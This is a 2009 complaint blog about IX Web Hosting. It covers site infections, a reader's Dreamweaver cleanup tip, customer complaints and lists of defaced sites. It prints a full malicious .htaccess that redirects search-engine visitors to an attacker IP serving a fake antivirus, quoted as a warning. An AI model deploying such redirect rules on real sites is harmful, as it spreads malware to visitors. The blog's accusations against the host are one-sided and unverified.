IX Web Hosting’s Reviews Feb. 2009
Tip from a reader “How to clean the Yahoo Counter Injection Script”
Hey buddy,
nice website, i wish i had seen it before I renewed my contract with the crooks at IX for 2 more years…
well, i am writing because i couldn`t find on your website a solution to clean the infections automatically. so maybe you want to post a solution:here is what I did:
1 – download the entire site
2 – Open an infected file with Adobe Dreamweaver
3 – Look for the infected code, select all of it and copy it to the clipboard (starts with “<?php if(!function_exists(‘tmp_lkojfghx’))…”). You must copy ALL the code!
4 – Still on dreamweaver, click on EDIT>FIND AND REPLACE
5 – on the FIND box you paste the infected code
6 – On the FIND IN dropdown select FOLDER and point it to the folder where your website was downloaded.
7 – click on REPLACE ALL (dreamweaver will replace the code with whatever is on the REPLACE box, as we didn’t write anything there, it will clean the code)I found out that all the infected files on my sites had exactly the same code, so it was quite fast to remove them.
Ivan
Thanks Ivan for your feedback, I hope this helps others, also sorry to hear your sites are still constantly being injected. It’s clear that IX Web Hosting still has not got a clue how to solve this issue, and on top of this they are having 3 other mayor issues to deal with.
IX Web Hosting has SERIOUS database Issues and lots more
In the past months, 1000’s of IX Web Hosting’s customers finally turned their back on the “Cheap, Unreliable and Insecure ” Web Host. This was due to the fact that more than 140,000 sites were hacked and injected on a WEEKLY bases, things got so bad that even the “Backups” were infected and deemed useless.
From May 2008 onwards IX Web Hosting continueously blamed their customers, mayor search engines, WordPress, Joomla, and every script on the market, actually, it was everyone’s fault, except IX Web Hosting.
The past 4 weeks I have recieved and seen an alarming amount of customers furious about the “Downtime” of their sites.
Downtimes of 6+ hours is normal…
I am curious who IX WEB HOSTING is going to blame this time
| Shira, 12th 2009f February, 2009 | ||||||||||||||||||||||
We’ve spent the last week uploading and creating database on our new IXWebhosting account. BIG MISTAKE. All of the database sites give random server connection errors more often than not and the server service in general is extremely unreliable. The online “Tech support” chat is a complete joke. Not once have they been able to resolve the problems we’ve communicated, and we have to chat them about 5 times a day. We’re closing our account today before serious damage is done.
|
Daily Top 10 Searches to this blog
As of today I am going to post the TOP 10 Search Engine Terms people use to find this site.
As you will see, there are a lot of issues going on.
Search Engine Terms
These are terms people used to find this blog.
Todays Search
- ix hacked
- ixwebhosting virus
- ixwebhosting hacked
- ixwebhosting
- ix webhosting hacked 2008
- http://ixwebhostwarning.wordpress.com/
- ix web hosting has been hacked
- http://ixwebhostwarning.wordpress.com
- ix webhosting htaccess
- ixwebhosting .htaccess hack
Yesterdays Search
- ixwebhosting hacked
- ixwebhosting malware
- ixwebhosting malicious
- fix ixwebhosting .htaccess
- modlogan hacked
- htaccess exploit passwords ixwebhosting
- ixwebhosting exploited
- how to remove yahoo counter injection fr
- access htaccess ixwebhosting
- ixwebhosting hack
Join forces to SUE IX Web Hosting
[ from an ix webhosting customer ]
Anyone interested in joining forces to sue ixwebhosting.com due to their bad, insecure servers and not providing what they promise, please contact us at elawcase@gmail.com
I have tried many hosting companies and ixwebhosting is amongst the worst. Their server will go down frequently. We received so many complaints from our own customers that the website is not working. We get this just about everyday. And two days ago ixwebhosting.com servers were down for 4 hours. Yesterday it was down 3 hours. Today it is down now for over 2 hours and we are still waiting for the servers to work. We are hosted on NS13, NS14. This has got to be the most frustrating experience in our 9 years in ecommerce. We made the fatal error trusting to host our site with ixwebhosting.com. The first two months were okay but then after it went downhill. I think maybe they work really hard during the trial period so you cannot refund the month. I’m stuck now with a long period of webhosting plan. They won’t refund either and they will not provide you a good working server.
Is YOUR site INFECTED by the Yahoo Counter or .htaccess
A lot of people are contacting me, asking HOW you would know if your site is infected?.
Let me start by saying that in some cases you will know immidiately when somthing is wrong, but in other cases it might not be too clear.
The YAHOO COUNTER SCRIPT
is an iFrame Javascript injection that injects code into the Footer, Body, or Header, or all three at once.
Thousands of IX web Hosting customers are infected with this code, and they do not even know it! The web Page looks normal, but this can be very dangerous, your website will eventually drop from ALL the mayor search engines, and your domain will be flagged as “Dangerous Malware” by all the search engines.
To check if you have the Yahoo Counter injected, visit any search engine, and visit your site, If your site loads as it should, BUT it still shows “Loading” in the taskbar for some time, and then in most cases ( but not always) an ” Acrobat Reader” Error message will pop up.

Now you must Check the “Source Code” ( Menu Bar –> View –> Source ) and you will notice the Code that has been injected.
The .htaccess Injection
This is a very sneaky Injection, the reason being, is because most people that have and check their websites, access them by either a shortcut, or directly through the search bar by using the url, In both these cases, your website will be perfectly normal, BUT, anyone trying to access your website through any of the mayor Search Engines, will be re-directed.

Click Images to Enlarge
Once that is done, a FAKE ANTI VIRUS will pop up, and start scanning your PC, it will then alert you that you have dangerous files on your PC, and if they should be removed, if you click YES, you are screwed!!, a Trojan with KeyLogger will be executed on your PC, and you are INFECTED!!…
Anyone who has the FAKE ANTI VIRUS pop up, should just click off the site NEVER click “Yes” or “No”.. just click OFF the page , if your PC freezes, use “Ctrl-Alt-Delete” and Stop the process… then out of precaution you can “Delete” your cached internet files.
An example of the injected .htaccess file.
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* h**p://87.248.180.89/topic.html?s=s [R,L] ( link altered by ME )
Remember, you only get re-directed if you click on your url from a search engine
IX Web Hostings Servers using both Php4 and Php5 INFECTED

As I wrote yesterday, MORE THAN ONE THIRD OF ALL IX Web Hosting’s hosted sites are INFECTED.
And to make things worse, the problem is spreading.
Up until Jan. 3rd 2009 it was only the older servers still running Php4 that were being affected, but now even the NEW server blocks, running Php5 are being injected.
IX Customers with sites on the server block with mysql address mysql501.ixwebhosting.com that runs php5. are being injected.
This is bad enough, and the fact that after 9 MONTHS!!! IX Web Hosting has still NOT GOT A CLUE how this is being done is a complete DISGRACE!!
And to add salt to the wounds, IX is not just being attacked with one form of iFrame injection, NO, IX is being attacked THREE different ways.
1) The notorious ” YAHOO COUNTER” is being injected into the FOOTER of every file.
2) The .htacces File that is overwriting and / or adding an . htaccess file into the root of every site and re-directing sites
3) As of Jan. 3rd 2009, a SECOND but modified version of the ” YAHOO COUNTER ” iFrame injection is now being injected into BOTH the Header, AND / OR Body of every file.
Today an IX Web Hosting customer sent me a link to their site, that was injected with THREE Yahoo Counters, Header, Body and Footer.
The owner of the site told me that the site would take ages to load, and would often even timeout, and Google had dropped the site completely from the Search Engine, penalized because of the “Malware Script”
Here is a quote from IX Support’s Alex Karamushko :
We have currently problem with Yahoo counter hack, but our system administrators and security analysts working hard for finding exact reason of that problem and we can assure you that this will be fixed shortly.
After 9 months, I ask myself what ” shortly” actually means?!.. Another week?, month?, or maybe 3 months?.. because I was told by “AGENT IX” that at the rate things are going now, by May 2009 EVERY website hosted at IX will be infected by these injections.
IX Web Hosted sites Hacked & Defaced Jan 9th 2009
More than ONE THIRD of ALL IX Web Hosting sites INFECTED
A lot of the information I post here, I get from a person that works for IX Web Hosting and / or Ecommerce, as you all understand I cannot give any details that could compromise his / her position. I will call this person “AGENT IX”
Today I recieved an Email from “AGENT IX” that states that more than 100,000 IX Web Hosting Sites are infected.
The Details are, that IX Web Hosting is hosting 285,223 websites ( source http://whois.domaintools.com/ixwebhosting.com
More than 100,000 sites are infected, which means that more than 1/3 of all IX Web Hosting sites are infected!!
and IX has still not got a clue how to stop these attacks.
Also the injected script(s) are changing ( see previous posts) which most likely means that this vulnerability is now being exploited by various people / groups, and this also means that this problem is going to get a lot worse before it gets better, this problem has now been effecting sites since last year May ( 2008 ) almost 9 MONTHS LATER the problem is worse than it has ever been, and there is no bright light at the end of the tunnel yet.
IX web hosted sites Hacked and Defaced December 29th
- http://abcnepal.com/phpBB2/
- http://forums.adeptpcs.com/
- http://www.defaceadd.org/tamekran-767.xml
- http://mallusworld.com/
- http://sw.rzep.net/
- http://myxxonline.com/phpBB2/
- http://happyzoo.com/phpBB2/admin/
- http://yojils.com/forums/
- http://dj-booth.co.uk/forum/
- http://firstbaptist-nyc.org/phpBB2/
- http://webaccess.ingenious.cc/phpBB2/
- http://infrastructurematters.org/phpBB2/
- http://everythingretek.com/phpBB2/viewtopic.php?p=1464
- http://plus.rawfishrecords.com/phpBB2/
- http://quellederjugend.arhaco.com/phpBB2/
- http://mediawirx.net/phpBB2/
- http://www.zavallis.com/
- http://www.nassel.com/news/
- http://www.joshstern.net/phpBB2/viewtopic.php?p=13422..13422
- http://northharrowsnooker.co.uk/
IX and Hacked and Defaced Dec 24 2008
A short list of sites hosted by IX Web Hosting.. all Hacked and Defaced
http://www.strangeauction.com/wp-login.php
http://annualkellyfamilyreunion.com/forum/
http://sisterwords.com/phpBB2/
http://cr30beachbungalow.mmisiolek.com/phpBB2/
http://hitecpowercontrols.com/x.html
http://jacksonvilleyardsalesonline.com/signinform.php?msg=%3Ch1%3EHacked%20By%20BeLa%3C/h1%3E
http://abacusdiesel.com/phpBB2/
http://www.cardstuff.info/details.php?id=16&kategorie=9&main_kat=4&start=0&nr=
http://mediaportalen.net/index.php?n=modules/users&s=4&t=DESC&p=1&l=results_poll&68cac=off
http://forgottenstory.com/phpBB2/
http://www.mobileintegration.no/
http://krabbeteiner.com/shop/admin/
http://fischertechnologies.com/calendar/
Links discussing IX Web hosting Service
Here is a list of sites that other people are posting about IX web hosting
- IX web hosting, The worst host ever
- CNET IX web hosting
- Worst Ever Host 1
- Worst Ever Host 2 Terrible Customer Service
- Good Ridence IX Web Hosting
- My Website got Hacked
- How bad is IX web hosting?
Links will be posted on the fly..

-
Archives
- October 2009 (3)
- July 2009 (1)
- May 2009 (4)
- March 2009 (3)
- February 2009 (7)
- January 2009 (12)
- December 2008 (19)
-
Categories
-
RSS
Entries RSS
Comments RSS

